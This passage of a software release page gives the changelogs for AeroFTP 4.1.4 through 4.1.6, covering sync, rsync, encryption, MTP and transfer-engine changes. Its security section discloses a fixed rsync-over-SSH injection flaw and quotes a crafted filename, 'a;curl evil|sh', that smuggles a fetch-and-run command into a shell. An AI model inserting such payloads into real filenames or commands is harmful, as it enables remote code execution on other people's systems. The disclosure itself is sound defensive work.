libmtpbackend and a Windows WPD backend. Devices are saved as real profiles keyed to a stable device fingerprint (mtp:serial=…where the device reports one, otherwise vid/pid plus model), so a saved phone reconnects as itself rather than as whatever happened to be on that USB port; the Add Services catalog gains a Devices category and an MTP save form, the device card carries a red/green attach indicator with click-to-connect, andaeroftp-clican open a saved device by fingerprint. USB hotplug is wired on both platforms, so unplugging a device flips the attach dot and degrades the open session honestly instead of leaving a dead panel (@EhudKirsh, #347). - AeroFTP takes the MTP claim from the desktop instead of losing to it: only one program can hold a phone over MTP at a time, so on Linux Connect now soft-releases the system gvfs/Nautilus mount (with a settle poll, a clean
giounmount with timeout, and aSIGSTOPof the gvfs volume monitors across the open) rather than failing with an error that blamed the user for having a file manager open. Disconnect drops only the claim AeroFTP took. Where the desktop mount is the better path, PLACES rides it instead of fighting it. - AeroRsync: md4 and sha1 as first-class negotiated checksums (Y-RSC.3): both were advertised in negotiation but never implemented, so a negotiated md4 or sha1 win silently degraded a delta transfer to all-literal traffic and skipped the reconstruction verify entirely. Both roles - the block-strong signature hash and the whole-file trailer - are now implemented in both directions, and the reconstruction is genuinely verified. The seeding mirrors the builtin-versus-EVP split of rsync 3.2.7
checksum.c: block-strong md4 appends the four-byte seed, sha1 prepends it, and the whole-file trailer is unseeded for both. Verified against stock rsync 3.2.7 by forcing each algorithm through the live lane-3 upload path for a byte-identical reconstruction, which proves our md4 and sha1 are accepted by rsync's own receiver verify. - AeroRsync: symlinks transferred end-to-end on unix (Y-RSC.4): a source symlink is detected by
lstatand never followed, emitted as anS_IFLNKfile-list entry carrying the link target under rsync'sF_LENGTHconvention, with no signature, delta or data phase; the receiver materialises it create-temp-then-rename, replacing an existing file and leaving no temp behind on failure. On non-unix targets a symlink entry fails closed with a typed error instead of silently creating a regular file. - AeroRsync: streaming download signatures (Y-RSC.5): the signature phase no longer reads the whole baseline into RAM. Production downloads open a
FileBaselineand walk it block by block for the Adler-32 rolling and negotiated strong hash, closing the O(file) memory cost left open by the earlier streaming work. Byte-identical parity tests against the bulk path, plus an RSS acceptance run over a 4 GiB sparse baseline holding peak growth under 128 MiB. - A process-global hierarchical transfer governor: concurrency is now arbitrated across the whole process rather than per transfer, with a priority device-endpoint governor beneath it, so a large batch and an interactive single-file transfer no longer bid against each other blindly for the same device and endpoint capacity.
- Durable multipart checkpoints and a journal-aware commit path: a multipart upload writes durable per-part receipts, so an interrupted upload resumes against the parts that genuinely landed instead of restarting, and
VerifyChecksumandCommitTempread that journal so a session is finalized only after a durable verified fact. A cancelled multipart upload now keeps its provider session for resume rather than aborting it. - A streaming work frontier for multi-file transfers: the multi-file source streams work into the DAG instead of materialising the full graph up front, with a bounded ready-frontier dispatch window; peak graph memory stays bounded over ten million items, which is now a test.
- Endpoint and workload-aware adaptive AIMD, plus SizeFair scheduling: the congestion profile adapts to the endpoint and the shape of the workload, and SizeFair scheduling stops a queue of large files from starving small ones. Normal sync files are pooled with an exclusive delta lane so a delta transfer no longer contends with plain copies.
- Five more providers promoted onto native multipart workers: Drime, Uploadcare, Dropbox, Box and Filen now upload through real per-part wire I/O rather than a single-stream fallback. pCloud was evaluated and deliberately retained on
LockedSingleafter its live gate. - A reusable buffer pool with a streaming multipart part body, plus directional resources and byte-buffer credits with an exact credit ceiling, so the engine's memory ceiling is a number it enforces rather than a hope.
- Runtime transfer capabilities and capability-aware settings: the engine probes what an endpoint can actually do once and binds the effective settings to that single probe, so the settings surface stops offering choices the provider cannot honour.
- SFTP performance presets, persisted per profile, with opt-in read-ahead:
russh-sftpawaits oneSSH_FXP_READper poll (upstream #70), so an SFTP download ran far below the link (measured 2.8 MiB/s against 16 upload on the same session). An in-tree read-ahead over the public API - no crate fork - stripes chunks across several cheap file handles into one writer, byte-identical to the serial loop with strict short-read as a hard error. In the lab over a 1 Gb link at 37.7 ms RTT: about 2.5-3x on a single connection, 14.25 MiB/s at 4 connections (beating 8 serial connections), peaking at 27.47 MiB/s at 12 connections, about 58% ahead of rclone. This stays opt-in via the per-profile preset,--sftp-concurrencyon the CLI orAEROFTP_SFTP_READAHEAD; no default changed, pending the team audit before any default flip. - AeroCrypt v4 keyslots: a vault key can now be unlocked by more than one credential. A v4 keyslot core (slot types, per-slot key derivation, AAD-wrapped OMK) is joined by
crypt migrate-v4and slot management on the CLI, a GUI keyslot manager, and a recovery slot with an Emergency Kit v4. Migration derives a single schedule for the master key and each slot wraps it, so adding or revoking a credential never re-encrypts the vault. - An unlocked-key cache for instant crypt overlay re-toggle, with an explicit hard lock: toggling an AeroCrypt or rclone-crypt overlay off and on on the same connection re-derived the key from scratch every time (Argon2id, or scrypt for rclone-crypt). Keys are now cached for the life of the connection - every copy still zeroizes on drop - with an explicit hard-lock action to drop them on demand.
- Security Tools as a first-class launcher in the AeroTools panel, with Hash Forge reaching BLAKE3-demo parity (XOF output length, auto-calculate, the full encoding set, drag and drop) and Password Forge output masked behind an eye reveal toggle. The titlebar button remains a Cyber-theme easter egg (@EhudKirsh, #369).
- A startup resume banner for the transfer queue with smart auto-connect (TQ-7c), turning the restored-queue work from v4.1.5 into a prompt that can actually reconnect and resume.
- A dual-panel breadcrumb path bar reusing the AeroFile breadcrumb, and the Compare view now shows what percentage of items and bytes are out of sync rather than only counts (@EhudKirsh, #347).
- Copy or duplicate a user from the Manage Users GUI (@EhudKirsh, #347), and the
--tuiinline action menu now works on groups and users, not only on servers (@EhudKirsh, #311). - Premium-gated Permanent Delete and Empty Trash for Dropbox in the trash manager, with tooltips that spell out the difference between the two (@EhudKirsh, #397, #347).
- Benchmarks reach agents and every transport:
--all-protocolsexpands a profile into one run per transport mode, results carry distinct Type and Protocol columns and MiB units with a single-file progress bar, and the many-files and per-protocol benchmarks are reachable from an MCP agent (@EhudKirsh, #277). - Windows volume hotplug in PLACES via a
WM_DEVICECHANGEwatcher and aGetLogicalDrivesmask diff, so an attached drive appears without waiting for the 30s poll. - Add Service catalog growth: an optional parent Company column, S3Drive and Quotaless added, MEGA S4 folded into one row, a 4shared WebDAV Quick-Connect preset, and middle-click to open a service in a background tab with the search term preserved (@EhudKirsh, #274, #347).
Changed
- The FTPS single-stream download buffer default moves from 8 KiB to 64 KiB: at 8 KiB, TLS record churn dominated the path. An interleaved A/B on the lab FTPS profile (3 reps per size, same 1 GiB oracle, all exact SHA-256) measured a 89.7 s median at 64 KiB against 130.8 s at 8 KiB and 112.4 s at 256 KiB, with the tightest spread - 41% ahead of the rclone single-channel reference at 153.1 s.
--buffer-sizestill overrides within the existing 4 KiB to 16 MiB clamp; the multi-stream path is untouched. - FTP multi-file batches reuse warm connections and reach parity with rclone: the CLI batch opened a fresh control connection per file - TCP,
AUTH TLSand login every time - leaving multi-file FTPS 8-18% behind rclone, which amortises the handshake over a pool. A worker that finishes a file successfully is now parked and reused, gated behind a newsupports_transfer_worker_reusecapability that defaults to false so SFTP and HTTP-clone pools keep their exact per-file re-dial path. Only workers from successful transfers are recycled, so a desynced stream is dropped rather than reused. Result: +1.0% and +1.4% against rclone at concurrency 3 and 5, with distinct TCP connections dropping from 18 to 13. - The legacy RSNP stack is retired (Y-RSC.8):
SessionDriver, the session, planner and server modules, the protocol frame codec and theaerorsync_servebinary are deleted, along with CI lane 2 and its docker harness. Production was already onWrapperParityagainst stockrsync --server; this removes the parallel path that was never the shipped one. The module is now 22 files and about 32k LOC, anddocs/PROTOCOL-RSYNC-COMPARE.mdhas been re-audited against the code. mainis gated by the AeroRsync module suite and the real-rsync lane, and the mandatory pre-push gate is aligned with the build checks so a local pass means the same thing CI means.- The Rust toolchain is pinned to 1.97.0, ending clippy drift between contributor machines and CI.
- Routine dependency maintenance: dompurify 3.4.12, rand 0.8.7, sevenz-rust2 0.21.3, sha1 0.10.7, xxhash-rust 0.8.17, softprops/action-gh-release 3.0.2, plus a batched Dependabot and quick-xml security cleanup.
Fixed
- A partial remote listing can no longer drive mass deletion (sync audit AUDIT-03): both remote scanners swallowed listing failures - a failed
cd, a failedlist, the depth limit, the 100K index cap - with a barecontinueand returned a map that looked complete. Files the scanner could not see were indistinguishable from files the user had deleted, so a partial listing could drive massDeleteLocalwhile the safety gate saw perfectly benign counts. Both scanners now return a completeness flag set false at each swallow site, and the delete-propagation gate trips unconditionally on an incomplete scan. The companion fixes close the same class for orphan-delete against incomplete or empty source scans, for the compare scan, and for unstattable local entries, which now mark the local scan incomplete rather than reading as remote-only. Archive-before-delete made a wrong delete recoverable; this prevents it. - A propagated delete archives the local file first: the overwrite path already archived to
.aeroversions/, but a delete driven by a remote-side disappearance did not, so a wrong delete was permanent. Both sync engines now archive before a propagatedDeleteLocalthrough one shared helper, which is what makes the scan-completeness gates above recoverable rather than merely preventive. - A
node_modules/line in the sync config now excludesnode_modules: a trailing/- the spelling the.aeroignoretemplate itself teaches - was matched verbatim and never hit the directory segment, and an interior-/pattern likebuild/outputwas never matched at a path boundary. Both are now honoured gitignore-style. - An interrupted local-to-local copy cannot leave a truncated file: the plain-copy fallback writes to a temp sibling and renames onto the destination, so a failure mid-copy no longer destroys the previous good mirror copy.
- A cancelled multipart upload keeps its durable session for resume instead of aborting it, and the multipart lifecycle state is unified across the shaped builders so cancel, fail-fast and typed node timeouts are graph-scoped rather than per-node improvisation. Rejected Box upload sessions are cleaned up.
- Max multi-file concurrency actually reaches Max: the disk device slot ceiling was below the tier it advertised, so the Max 5x tier could not reach full concurrency.
- GUI progress is emitted at a unified rate of at most 10 Hz, ending the redraw storm that a fast local transfer could trigger.
- AeroRsync correctness sweep: the whole-file checksum is now verified before committing a native delta download and against md5 peers too; the file-checksum length is derived from the negotiated algorithm rather than assumed; truncated strong checksums are compared correctly in
find_match; block-strong md5 is restored for delta matches; xxh64 and xxh3 delta support is completed; and a clean-EOF detection that matched on a substring is replaced by a structured class. - Headerless and legacy crypt overlay profiles auto-unlock again: the
hasStoredAeroCryptflags now self-heal at load, and when auto-unlock genuinely fails the UI surfaces a locked-overlay affordance instead of silently falling through. Mixed-mode navigation handles edits outside the Overlays Path, toggle gating and landing on the Remote Path (@EhudKirsh, #390, #388, #347, #369). - Crypt overlay secrets survive a cross-user profile copy or move, alongside OAuth and Jottacloud tokens, with a real identity probe on the cross-user path (@EhudKirsh, #366, #270).
- The OneDrive redirect URI shown to the user must be
localhost, not127.0.0.1- Microsoft rejects the literal IP, so the instructions were unfollowable (@EhudKirsh, #397). - Zoho WorkDrive personal accounts connect: a personal account has no team unit, so both
/teamsand/users/{id}/teamsreturn empty and discovery hard-failed right after a successful OAuth with "No teams found". Discovery now falls back to/users/{zuid}/privatespacewhen no team is found; team and free-org accounts are unaffected. - Jottacloud delete soft-deletes into trash instead of hard removing, matching what every other provider's Delete does.
- A Windows uninstall leaves no registry residue (@pasha-zzz, #454): our own
PREUNINSTALLhook deleted theSoftware\Classes\.<ext>key including the<progid>_backupvalue that Tauri'sAPP_UNASSOCIATEreads immediately afterwards, so the very next write recreated the extension key carrying an empty default. The sweep moved toPOSTUNINSTALL, and it is skipped in update mode so an in-app or WinGet upgrade never resets a hand-picked Explorer default. Measured on Windows 11: a registry search foraeroreturns zero matches across HKCU, HKLM and HKCR after uninstall. - File association handling on Linux resolves the installed desktop id before calling
xdg-mime default, and the Settings panel gets its padding back with a single Default badge and no accidental backdrop-close. - An S3 New Folder is no longer a phantom file: the empty-folder marker is persisted (@EhudKirsh, #266, #347).
MKDreturning 550 on an existing directory is treated as a no-op via a stat fallback, instead of failing a transfer that was already fine.- Drag-and-drop reorder in My Servers lands on the drop target index, and a duplicated profile mode points at its own endpoint rather than the original's.
- Hash Forge accepts a real OS drop on Linux through native drag-and-drop, works under
disable_drag_drop_handler, shows a full hash wrapped instead of a horizontal scrollbar, and no longer dismisses its modal by accident; the Security Tools modal is wide enough for SHA-256 on one line. - Health diagnostics report honest verdicts for timeout, 404 and download-speed checks.
- Remaining GTK and DBus mutations are marshalled onto the main thread on Linux, closing a class of intermittent crashes.
- A bare Windows drive letter is absolute when navigating parent-up in AeroFile, and an EXDEV copy-and-delete fallback handles gvfs MTP moves across filesystems.
- The clipboard paste refreshes the local panel that owns the target, not whichever panel was last focused.
- CLI agent-UX fixes for
delete,putand machine JSON, and the connection banner now prints the REST API transport for native-API profiles instead of implying a generic one (@EhudKirsh, #277). - The catalog tier filter is category-aware, so a provider that is paid only within a category stays reachable; MEGA S4's Paid pill is restored via a providerId catalog fallback and honours the paid method flag; S4/S5 label overrides reach the CLI catalog and the providers table; 4shared shows its own logo rather than a generic cloud tile; and TAB.DIGITAL is flagged EU rather than IN (@EhudKirsh, #274).
- A DAG cancellation test no longer races the scheduler: it cancelled after a fixed 40 ms and then asserted a multipart part was in flight, but time-to-first-part has no lower bound, so a loaded CI runner failed the assertion for scheduling reasons rather than a real regression. It now waits on the observable precondition.
Security
- Remote command execution through a crafted remote filename in rsync-over-SSH is closed (sync audit AUDIT-03, B3-02): the
user@host:pathspec was interpolated into the rsync invocation with no escaping, so a filename containinga;curl evil|sh,$(...), backticks, spaces or newlines reached the remote login shell. Where the synced remote directory was writable by another party, that was remote command execution. Every rsync-over-SSH invocation now passes-s(--secluded-args), so filenames travel to the remote rsync over the protocol and never touch a shell. .aeroignorematching now fails closed: a pattern the globset rejected was silently dropped, so a rule the user believed was protecting a path did nothing. A rejected pattern is now retried as an escaped literal; a leading/anchors to the sync root (it was compiled verbatim and never matched); globs useliteral_separatorso a lone*no longer crosses/; and case-insensitivity is honoured on Windows and macOS per the module contract.- AeroRsync refuses unsafe peer-supplied symlink targets (audit S1): a downloaded symlink materialised the peer-controlled target verbatim, so a hostile server could make a download create a link to an absolute path or a parent traversal. Creating the link does not follow it, but a later write-through would escape the download directory. The receiver now applies rsync's safe-links policy by default, resolved lexically without touching the filesystem, and refuses fail-closed with nothing left on disk.
- The delete-propagation guards above are a security property, not only a correctness one: a hostile or merely broken remote that truncates a listing could previously steer a sync into deleting local data. Every gate downstream of a scan now knows whether that scan was complete.
- AeroCrypt hardening: the default-salt entropy gate is enforced backend-side rather than only in the UI (and the UI now explains it), the TSV v3 MAC length is bounds-checked before the copy, and a recovery code is rejected for non-ASCII input before any slicing.
- Foreign-config import parsing and secret-export writes are hardened in the bridge, and cross-user dedup soft-warnings are scoped so an empty-key S3 profile cannot widen them (@EhudKirsh, #270, #366).
- Three moderate
russhadvisories remain open, blocked upstream. GHSA-g9hv-x236-4qp3 and GHSA-5xvq-cp9x-6p6r are reachable client-side; GHSA-cqjc-rmpq-xprq is server-side only and AeroFTP runs no SSH server. All three are availability-only panics - no memory-safety escape, no key disclosure, no authentication bypass - requiring the user to connect to an attacker-controlled SSH endpoint, and all three predate this release. The fix isrussh0.62.4, which requiresed25519-dalek ^3against the=3.0.0-rc.0exact pin held byn0-mainlinein the iroh P2P graph; both upstreams are already at their newest release, so no local version selection resolves it. Full reachability analysis and the remediation plan: [docs/security-evidence/RUSSH-DEPENDABOT-ADVISORIES-2026-07.md](docs/security-evidence/RUSSH-DEPENDABOT-ADVISORIES-2026-07.md). Note thatcargo auditreports clean here - these advisories have no RustSec counterpart - so the Dependabot graph is a distinct pre-release check, not one the Rust gate already covers.
Contributors
Thanks to the people who shaped this release:
<img src="https://github.com/EhudKirsh.png?size=48" width="48" height="48" alt="@EhudKirsh" />
<img src="https://github.com/pasha-zzz.png?size=48" width="48" height="48" alt="@pasha-zzz" />
Downloads:
- Windows:
.msiinstaller,.exe, or.zipportable (no installation required) - macOS:
.dmgdisk image - Linux:
.deb,.rpm,.snap, or.AppImage
- AeroFTP-4.1.6-1.x86_64.rpm - 145.4 MB · 18×
- AeroFTP-4.1.6-1.x86_64.rpm.sigstore.json - 10.3 KB · 3×
- AeroFTP-4.1.6-portable-windows-x64.zip - 84.3 MB · 80×
- AeroFTP-4.1.6-portable-windows-x64.zip.sigstore.json - 10.1 KB · 3×
- AeroFTP_4.1.6_aarch64.dmg - 83.3 MB · 45×
- AeroFTP_4.1.6_aarch64.dmg.sigstore.json - 10.1 KB · 13×
- AeroFTP_4.1.6_amd64.AppImage - 87.9 MB · 67×
- AeroFTP_4.1.6_amd64.AppImage.sigstore.json - 10.2 KB · 1×
- AeroFTP_4.1.6_amd64.deb - 71.6 MB · 156×
- AeroFTP_4.1.6_amd64.deb.sigstore.json - 10.2 KB · 104×
- aeroftp_4.1.6_amd64.snap - 276.1 MB · 8×
- aeroftp_4.1.6_amd64.snap.sigstore.json - 10.2 KB · 0×
- AeroFTP_4.1.6_x64-setup.exe - 59.4 MB · 232×
- AeroFTP_4.1.6_x64-setup.exe.sigstore.json - 10 KB · 18×
- AeroFTP_4.1.6_x64.dmg - 87 MB · 13×
- AeroFTP_4.1.6_x64.dmg.sigstore.json - 10.3 KB · 1×
- AeroFTP_4.1.6_x64_en-US.msi - 84.7 MB · 192×
- AeroFTP_4.1.6_x64_en-US.msi.sigstore.json - 10 KB · 28×
v4.1.5 1mo ago · 746 · 18 Assets
[4.1.5] - 2026-07-15
Non-Identical Duplicate Detection, Restartable Transfers and AeroCrypt Portability
Find Duplicates gains near-duplicate detection across images, text and arbitrary payloads, exposed in the GUI, CLI and agent tools and always opt-in. The transfer queue now survives an app restart, bringing interrupted transfers back as re-queueable Restored items. AeroCrypt gains portability and safety work: an advanced default-salt mode, a shared .aerocrypt.tsv marker with verified migration, an offline Emergency Kit validity check, and a missing headed marker rebuilt from the local keystore. Password Forge becomes always-discoverable with reusable presets and honest 2FA-secret handling, classic rsync animates a live progress bar, and the CLI honours machine-mode and banner environment variables consistently. 47 languages translated.
Added
- Non-identical duplicate detection across the engine, GUI, CLI and agent tools: a shared engine routes raster images through pHash, text including SVG through SimHash with a MinHash cross-check, and any other payload through pure-Rust TLSH; the GUI and CLI expose Exact and Non-identical modes,
local_find_duplicatesdelegates to the shared engine with similarity metadata, andaeroftp_dedupe/remote_dedupesupport non-identical staging withsimilarityanddistancewhile preserving the remote exact SHA-256 fast path. Non-identical mode is opt-in and never auto-selects files for deletion (@EhudKirsh, #383). - The transfer queue survives an app restart: interrupted queue items are journaled atomically to
aeroftp_data_root/transfer-queue/queue.jsonas re-executable descriptors, and on the next launch any transfer that was still pending or in flight comes back as a re-queueable "Restored" item with a Retry action. Restored items do not auto-start or auto-reconnect: after you reconnect to the same server, Retry re-runs them through the normal transfer path. Verified live end to end (persist, restart, restore, real re-upload of a 100 MB file). Per-provider byte-range resume stays deferred. - AeroCrypt default-salt portability and TSV marker migration: default-salt mode is an advanced opt-in with a password-strength gate, explicit attestation and salt-mode MAC binding, and the recovery kit gains QR export controls; new headed markers write
.aerocrypt.tsvwhile the legacy.aeroftp-crypt.jsonstays readable, and CLI and GUI migration verifies the new marker before deleting the old one (@EhudKirsh, #276). - Emergency Kit validity check (
crypt kit-verifyand GUI Verify): a saved kit text, QR dump,.aerocrypt.tsvor legacy.aeroftp-crypt.jsoncan be re-parsed offline and checked against the active profile keystore (vault id, salt, version, KDF) without a recovery drill or password, from the CLIcrypt kit-verify, the Tauriaerocrypt_verify_recovery_kitcommand and the Recovery Kit modal Verify action with native Save and Print (@EhudKirsh, #276). - Password Forge and encrypted-provider credential hardening: Security Tools is always discoverable, the generator supports reusable presets including Compatible 32, granular and custom character sets, exclusions, guaranteed selected groups, batch generation and live entropy, and inline generation covers AeroVault, encrypted overlays and protected archives. Saved Filen and MEGA 2FA secrets are demoted behind a collapsed advanced disclosure with an honest warning, Filen bridge credentials enforce the documented 32-character restrictions, and MD5/SHA-1 are marked legacy (@EhudKirsh, #266, #369).
- CLI machine mode via
AEROFTP_MACHINE: a truthyAEROFTP_MACHINEenables machine and agent output mode as an equivalent to--machine, resolved right after argument parsing so agents and CI no longer repeat the flag on every call.
Changed
AEROFTP_NO_BANNERrealigned to thestrict_env_truthyconvention: it now matchesAEROFTP_STRICTandAEROFTP_MACHINE, so only1,true,yesoronsuppress the banner, and=0or=falseno longer do.- The Linux release workflow retries transient Tauri AppImage helper downloads: the bundling step retries the helper fetch that occasionally fails mid-build, reducing spurious red Build runs.
Fixed
- Emergency Kit recovery wording no longer contradicts itself: the printed kit and the recovery-kit panel told the user both to save the kit "together with your password" and to "NEVER store the password alongside this kit". The copy now separates the functional requirement (the kit and the password are both needed to recover a vault, neither one alone can open it) from the security rule (keep them in separate places), retranslated across all 46 non-EN locales (@EhudKirsh, #276).
- A missing headed marker is rebuilt from the local keystore with a one-shot lockout warning: when a headed vault's remote marker is gone, unlock no longer silently degrades to headerless; the marker is restored from the keystore and the user is told not to delete it again. Profile
withHeaderis plumbed end to end, and legacy JSON to TSV conversion is opt-in from the AEROCRYPT badge menu when the JSON is still present (@EhudKirsh, #276). - Classic rsync transfers animate a live progress bar instead of jumping at the end: the classic rsync path (system
rsyncwith--info=progress2) parsed live progress lines but dropped them, so a delta transfer over that path showed no movement until the final summary; the existing progress sink is now threaded throughRsyncBinaryTransportintorun_rsyncand called on each parsed line, matching the native delta path. - A drive attached while AeroFTP is in the background now appears in the PLACES sidebar on window focus: on Windows and macOS the volume watcher falls back to a 30s poll (real-time inotify is Linux-only), so a freshly attached drive could take up to 30s to show; AeroFile now refetches mounted volumes and unmounted partitions on window focus. Linux is unaffected (@EhudKirsh, #351).
Security
- Credential and marker hardening. Default-salt mode binds the salt mode into the MAC so a silent downgrade is detected, the missing-marker rebuild is fail-closed (it restores from the local keystore rather than silently opening headerless), and saved 2FA secrets are demoted behind an honest advanced disclosure. The dependency review was clean:
cargo auditreported no advisories over 1206 crate dependencies andnpm auditreported no production vulnerabilities.
Contributors
<img src="https://github.com/EhudKirsh.png?size=48" width="48" height="48" alt="@EhudKirsh" />Downloads:
- Windows:
.msiinstaller,.exe, or.zipportable (no installation required) - macOS:
.dmgdisk image - Linux:
.deb,.rpm,.snap, or.AppImage
- AeroFTP-4.1.5-1.x86_64.rpm - 146 MB · 12×
- AeroFTP-4.1.5-1.x86_64.rpm.sigstore.json - 10.1 KB · 3×
- AeroFTP-4.1.5-portable-windows-x64.zip - 81.1 MB · 35×
- AeroFTP-4.1.5-portable-windows-x64.zip.sigstore.json - 10.1 KB · 6×
- AeroFTP_4.1.5_aarch64.dmg - 81.2 MB · 27×
- AeroFTP_4.1.5_aarch64.dmg.sigstore.json - 10 KB · 9×
- AeroFTP_4.1.5_amd64.AppImage - 84.8 MB · 36×
- AeroFTP_4.1.5_amd64.AppImage.sigstore.json - 10.1 KB · 2×
- AeroFTP_4.1.5_amd64.deb - 68.8 MB · 104×
- AeroFTP_4.1.5_amd64.deb.sigstore.json - 10 KB · 62×
- aeroftp_4.1.5_amd64.snap - 272.6 MB · 8×
- aeroftp_4.1.5_amd64.snap.sigstore.json - 10.2 KB · 1×
- AeroFTP_4.1.5_x64-setup.exe - 57.1 MB · 214×
- AeroFTP_4.1.5_x64-setup.exe.sigstore.json - 10.2 KB · 27×
- AeroFTP_4.1.5_x64.dmg - 85.2 MB · 6×
- AeroFTP_4.1.5_x64.dmg.sigstore.json - 10 KB · 3×
- AeroFTP_4.1.5_x64_en-US.msi - 84.4 MB · 172×
- AeroFTP_4.1.5_x64_en-US.msi.sigstore.json - 10.2 KB · 19×
v4.1.4 2mo ago · 543 · 18 Assets
[4.1.4] - 2026-07-13
AeroCloud Multi-Pair Sync, Headerless AeroCrypt with an Optional Recovery Kit, a Strict Overlay Scope, and a CLI Agent Mode
AeroCloud grows from a single GUI-only folder into a real multi-pair sync engine reachable from the CLI, with delete propagation, one-way modes, a tunable real-time watcher, SFTP key auth and a compression overlay. AeroCrypt's default becomes a lean headerless base that writes nothing on the remote and opens with just your key, paired with an optional on-demand Recovery Kit that works in every mode and a strict sub-folder overlay scope, plus an opt-in same-name privacy hint. The CLI gains an agent-friendly machine mode and a remote find-and-replace edit, native profile backups round-trip every field, and Windows learns to open archives and expose an in-app File associations panel.
Added
- AeroCloud multiple sync pairs: run more than one local-to-remote pair per install, each with its own saved profile, protocol, direction, sync index and crypt overlay, driven by the same background worker and reachable from the CLI (
aeroftp-cli aerocloud pair list/add/remove/enable/disable/sync). A dedicatedcloud_pairs.jsonstore keeps each pair's sync index isolated by a per-pair id plus a duplicate-target guard, an empty store falls back to the legacy single config, and the connect-wrap-sync sequence is unified into one helper the worker and CLI share. Verified headless with two independent pairs (MEGA and Koofr) synced in one pass. All 46 non-EN locales (@EhudKirsh, #405). - AeroCloud delete propagation: a file deleted on one side is now removed on the other instead of the surviving copy resurrecting it, an index-aware decide-and-execute with a safety gate on both the provider and FTP twins. This is the line between sync and copy. Verified headless on a real MEGA remote (@EhudKirsh, #405).
- AeroCloud send-only and receive-only folders: per-folder direction (bidirectional, send-only, receive-only) with a preserve-remote-deletes toggle for additive backup versus strict mirror (@EhudKirsh, #405).
- AeroCloud from the CLI:
aeroftp-cli aerocloud show/set/enable/disable/status/syncconfigures and runs AeroCloud headless where it used to be GUI-only, the first step toward the AeroCloud and AeroSync engine convergence (@EhudKirsh, #405). - AeroCloud SFTP key-based auth: a saved key-auth SFTP profile, plaintext or passphrase-protected, now works as an AeroCloud target, covering both the background worker and
aeroftp-cli aerocloud sync(@EhudKirsh, #405). - AeroCloud AeroCompress overlay: compression is now a real per-config and per-pair overlay composed outside the crypt builder, so upload order is compress then optional encrypt; levels persist and are editable from the GUI and CLI. Verified on MEGA with zstd and stored modes and byte-equal round-trips (@EhudKirsh, #405, #276).
- AeroCloud real-time watcher tuning: the debounce quiet period and the cooldown between watcher-triggered syncs are now editable from the GUI and CLI (
aerocloud set --watcher-debounce-ms/--watcher-cooldown-secs), answering the bandwidth concern about real-time sync (@EhudKirsh, #405). - Overlays Remote Path, a strict sub-folder crypt scope: pin an AeroCrypt overlay to a strict descendant of the connection Remote Path (connect into
/data, encrypt only/data/vault, pass everything outside through as plaintext), from the GUI Connection screen and the CLIcrypt bind. Relative UX, live validation that rejects an ancestor, sibling or prefix-trap, empty means same-as-Remote-Path, and the scope locks once bound. All 46 non-EN locales (@EhudKirsh, #369). - Optional same-name privacy hint for encrypted vaults: an opt-in setting (Privacy, off by default) that, inside an active crypt overlay, flags files and folders whose plaintext name also appears at another path you have browsed. Filename encryption is deterministic, so identical names are visible as identical to an observer of the encrypted store, the same tradeoff as rclone-crypt and Cryptomator; the hint is a quiet chip with an explanatory tooltip, never a nagging dialog. All 46 non-EN locales (@EhudKirsh, #276).
- CLI agent mode and a remote find-and-replace edit: a global
--machineflag emits only structured data on stdout for clean agent parsing, and a neweditcommand (and MCPaeroftp_edittool) does a literal find-and-replace on a remote text file in place with no local download, replacing all by default or the first with--first, a no-op when nothing matches, refusing binaries, directories and files over 10 MB. Live-verified on SFTP. - CLI
deleteanddelaliases forrm: rclone and DOS muscle-memory now resolve instead of erroring, as visible aliases with no new subcommand. users -iper-user group labels: the interactive Users section gained Add and Remove group verbs that edit the selected user's own group partition, idempotent add, clear failures on locked users, no global membership table (@EhudKirsh, #311).- Windows archive opener registration: AeroFTP registers as an available opener for
.zip,.7z,.rar,.tar,.tgz,.gz,.xzand.bz2through a shared ProgID and Capabilities, preserving existing defaults, with NSIS and WiX parity (#361). - In-app File associations panel: a compact OS-backed section in Settings > File Handling showing live Default and Available status for AeroFTP formats and archives, applied via xdg-mime on Linux, Default apps on Windows, best-effort on macOS. All locales, unit-tested (#361).
- AeroImage lossless-or-pass-through Save As: converting one lossy format into a different lossy one warns and keeps the save buttons disabled until an explicit acknowledgement, while pass-through and lossless targets stay silent; the guard is unit-tested across the full truth table. All 46 non-EN locales (@EhudKirsh, aerovault#2).
- Single pre-release smoke entrypoint
npm run smoke: one command runs the deterministic Rust and frontend suites plus the lab-backed integration lanes, clean-SKIPs when Docker or credentials are absent, prints a PASS/SKIP/FAIL matrix and exits non-zero only on a real fail (@EhudKirsh, #347).
Changed
- AeroCrypt default is now a lean headerless base:
crypt initwrites nothing on the remote by default and stores the public config (version, salt, KDF params, vault id) in the local keystore per profile, so a vault opens with just your key and leaves no marker on the remote;--with-headerrestores the on-remote.aeroftp-crypt.jsonmarker as an opt-in for self-contained portability and on-remote tamper-evidence. Lossless migration both directions (crypt to-headerless/to-headed, metadata only, objects byte-identical), GUI header opt-in toggle, connect-time keystore load, MCP unlock parity. All 46 non-EN locales (@EhudKirsh, #276). - The AeroCrypt Recovery Kit is optional, on-demand and works in every mode: the public recovery kit (vault id, salt, KDF params, never secrets) no longer gates create or connect in the GUI; it is available any time from the crypt toggle and the saved-server menu, re-viewable and re-savable, for headerless, headed and keyfile vaults alike. Headed vaults now cache their public config locally on connect, so the kit is reachable without the remote marker, and a keyfile vault's kit spells out that the keyfile is also required (@EhudKirsh, #276).
- Provider label accuracy: 'pCloud' is now 'pCloud Drive' and 'Amazon S3' is 'Amazon Web Services (AWS)', and the Add Services search matches 'aws' where it returned nothing before (@EhudKirsh, #347).
- Yandex Disk WebDAV recategorized as paid: Yandex 360 gates WebDAV behind the subscription since 22 June, so Yandex Disk WebDAV now carries the paid marker in the Add Service table while its OAuth API stays free (@EhudKirsh, #274).
- Refreshed the Google Drive and OneDrive provider marks to their current official 2026 icons, in the provider logos and the README integrations row (@EhudKirsh, #347).
- RustCrypto core crates held on the 0.10 cohort with documented pins: the aes-gcm 0.11, chacha20poly1305 0.11 and cbc 0.2 bumps do not converge with aerovault, noq-proto and the transitive keyring cohort, so they are pinned with the reason recorded in Cargo.toml; crypto core verified to still round-trip including a live Cryptomator vault (Dependabot #379, #380, #381).
- Routine dependency maintenance: six Dependabot bumps merged after the v4.1.3 tag (vite 8.1.4, vitest 4.1.10, autoprefixer 10.5.2, country-flag-icons 1.6.20, ssh2 0.9.6, clap_complete 4.6.7), all patch or minor with green CI.
Fixed
